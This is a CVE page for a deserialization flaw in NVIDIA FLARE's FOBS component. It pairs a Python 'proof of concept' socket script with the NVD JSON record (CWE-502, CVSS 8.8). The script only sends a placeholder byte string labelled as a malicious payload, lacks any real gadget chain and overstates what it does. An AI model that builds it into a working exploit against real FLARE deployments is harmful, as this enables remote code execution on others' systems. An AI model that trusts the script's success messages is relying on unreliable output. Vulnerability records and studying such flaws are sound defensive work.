CVE-2026-24186

import socket import struct # This is a conceptual Proof of Concept for CVE-2026-24186. # It demonstrates sending a malicious payload to a vulnerable FOBS endpoint. # Note: Actual exploitation requires specific gadget chains for the target environment. def create_fobs_malicious_payload(): # In a real scenario, this would be a serialized object chain # designed to trigger RCE during deserialization. # Example structure simulation (pseudo-code): # header + magic_bytes + malicious_object_data # Simulating a generic dangerous payload marker payload = b"\x00\x01\x02\x03MALICIOUS_DESERIALIZATION_PAYLOAD" # Add length prefix (common in binary protocols) length = struct.pack('>I', len(payload)) return length + payload def send_exploit(target_ip, target_port): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) payload = create_fobs_malicious_payload() print(f"[*] Sending malicious FOBS payload ({len(payload)} bytes)...") s.sendall(payload) print("[+] Payload sent successfully.") print("[!] Check if the code execution was triggered on the target.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details TARGET_IP = "127.0.0.1" TARGET_PORT = 8080 send_exploit(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-24186", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:36:45.277", "lastModified": "2026-05-04T14:33:41.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA FLARE SDK contains a vulnerability in FOBS, where an attacker may cause deserialization of untrusted data by sending a malicious FOBS- encoded message. A successful exploit of this vulnerability might lead to code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nvflare:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.2", "matchCriteriaId": "64789867-7386-4DE6-A464-0FA8F7E256FE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24186", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5819", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24186", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}